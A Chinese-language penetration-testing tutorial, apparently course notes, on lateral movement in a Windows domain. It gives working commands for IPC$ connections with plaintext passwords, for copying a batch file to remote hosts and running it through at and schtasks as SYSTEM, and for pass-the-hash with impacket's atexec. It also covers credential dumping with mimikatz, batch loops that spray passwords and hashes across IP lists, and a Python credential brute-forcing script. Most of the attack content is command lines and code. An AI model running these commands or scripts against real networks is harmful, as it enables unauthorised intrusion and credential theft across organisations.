横向渗透明文传递at&schtasks at&schtasks命令,可以在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。
利用思路 获取到某域主机权限->minikatz得到密码(明文,hash)->用到信息收集域用户的列表当做用户名字典->用到密码明文当做密码字典->尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令
利用流程
建立IPC链接 到目标主机
拷贝要执行的命令脚本到目标主机
查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
删除IPC链接
IPC (Inter Process Connection)共享命名管道的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获取相应权限,通常在远程管理计算机和查看计算机的共享资源时使用
通过ipc$可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器只能够的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息
IPC相关操作 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 net use \\IP\ipc$ "密码" /user:用户名 net use \\IP\ipc$ "密码" /user:域名\用户名 dir \\IP\C$ \copy \\IP\C$ \1 .bat 1 .batcopy 1 .bat \\IP\C$ net use \\IP\C$ \1 .bat /del net view IP
建立IPC常见的错误代码 (1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows无法找到网络路径
(3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题
(4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立ipc$,需要先删除
(6)1326:账号密码错误
(7)1792:目标NetLogon服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码
建立IPC失败的原因 (1)目标系统不是NT或以上的操作系统
(2)对方没有打开ipc$共享
(3)对方未开启139、445端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误
at&schtasks使用 版本 < win2012 使用at 1 2 3 4 5 6 7 8 net use \\192.168 .3.21 \ipc$ "Admin12345" /user:god.org\administrator copy add.bat \\192.168 .3.21 \c$ at \\192.168 .3.21 23 :50 c:\add.bat
版本 >= win2012 使用schtasks 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 net use \\192.168 .3.32 \ipc$ "admin!@#45" /user:administrator copy add.bat \\192.168 .3.32 \c$ schtasks /create /s 192.168 .3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F schtasks /run /s 192.168 .3.32 /tn adduser /i schtasks /delete /s 192.168 .3.21 /tn adduser /f
横向渗透明文、Hash传递-atexec(来自impacket网络协议工具包) 之前的at和schtasks只能传明文,传递密文使用atexec(这个工具还带有提权,whoami返回system),但这个是第三方文件,需要做免杀
1 2 3 4 5 6 7 8 9 10 11 12 13 atexec.exe ./用户名:密码@IP "命令" atexec.exe 域名/用户名:密码@IP "命令" atexec.exe -hashes 密码的hash值 ./用户名@IP "命令" atexec.exe ./administrator:Admin12345@192.168 .3.21 "whoami" atexec.exe god/administrator:Admin12345@192.168 .3.21 "whoami" atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168 .3.21 "whoami"
横向渗透明文、Hash传递批量利用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 FOR /F %%i in (IP.txt) do net use \\%%i\ipc$ "密码" /user:用户名FOR /F %%i in (ip.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administratorFOR /F %%i in (IP.txt) do atexec.exe ./用户名:密码@ %%i "命令]" FOR /F %%i in (ip.txt) do atexec.exe ./administrator:admin!@ FOR /F %%i in (pass.txt) do atexec.exe ./用户名:%%i@IP "命令" FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168 .3.21 whoamiFOR /F %%i in (hash.txt) do atexec.exe -hashes %%i ./用户名@IP "命令" FOR /F %%i in (hash.txt) do atexec.exe -hashes %%i ./administrator@192.168 .3.21 whoami
攻击流程(已有一台服务器权限)
使用mimikatz获取密码(明文+密文)
得到密码,并作记录
用自带命令探针同网段下存活主机
使用自带语法+atexec,批量检测多ip对应一明文。这里将ip都存放在同一文件内,执行如下bat文件
执行完后,探针到另一台服务器也有相同密码
如法炮制,在新地址上传mimikatz获取新密码,密码字典+1芜湖
再故技重施,用新密码重新完成步骤3的工作,成功得到域控的权限,到此基本结束
注意:真实环境不会这么快这么简单,但思路差不多
横向渗透明文、Hash传递批量利用-升级版 考虑到前文的批处理只有一个变量,导致检测效率很低,所以我们选择python来写,将用户名、密码、ip地址都定义为变量提高效率,还可以使用多线程
利用py脚本制作的exe文件批量尝试横向渗透
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 ''' 1.安装pyinstaller pip install pyinstaller 2.生成可执行EXE Pyinstaller -F py文件 3.会生成一个同名的exe文件 ''' import os, timeips={ '192.168.3.21' , '192.168.3.25' , '192.168.3.29' , '192.168.3.30' , '192.168.3.33' } users={ 'Administrator' , 'mary' , 'webadmin' } passs={ 'admin' , 'admin!@#45' , 'Admin12345' } for ip in ips: for user in users: for pas in passs: exec ="net use \\" +"\\" +ip+"\ipc$" +pas+"/user:god\\" +user print ('--->' +exec +'<---' ) os.system(exec ) time.sleep(1 )
资源 impacket-examples-windows
参考 小迪安全
域内横向移动_ipc$_命令_目标